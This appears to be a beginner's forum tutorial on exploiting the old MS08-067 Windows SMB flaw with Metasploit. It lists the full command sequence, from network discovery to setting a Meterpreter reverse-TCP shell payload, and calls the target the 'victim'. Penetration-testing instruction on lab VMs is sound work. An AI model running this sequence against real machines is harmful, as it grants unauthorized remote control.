This tutorial I made for the new to Security & Backtrack users on
the Top-Hat-Sec forums and My blog to get them familiar with the
Metasploit console and maybe get them through penetrating their first
system This has to be run on an unpatched XP machine or VM with I
believe only SP1 if I’m not mistaken.
First open netdiscover to discover the attacking machine on your
network. You can do this by just running that command alone into
terminal or get more detailed and run it like this
netdiscover -i eth0 -r 192.168.0.1/24
with the output something like mine
Now open up a Metasploit console typing in terminal
msfconsole
Now we want to do a search for all exploits that have to do woth netapi so we run that serch with the command below
search netapi
You’ll want to run the exploit I highlited in this screenshot
exploit/windows/smb/ms08_067_netapi
Now type
show options to show all of the available options to set for this exploit
show options
Now lets set our Remote Host “Machine we are attacking” —->Victims PC
set RHOST 192.168.0.101
Now we want to set the payload for the exploit by typing in the command below
set PAYLOAD windows/meterpreter/reverse_tcp
Now we need to set the Local host which would be our machine —> “The Attackers Machine “you”
set LHOST 192.168.0.100
Last but not least we will type in the command below to begin exploiting the system
exploit
If all works well you should see a “Meterpreter session 1 started
And a Meterpreter prompt below that. Thats it you are now inside the
victims machine and can run and Meterpreter commands to continue
exploiting the machine. Hopefully you guys find my tutorials usefull and
I’ll make some more on SET and others in the near future. Thanks for
checking it out.


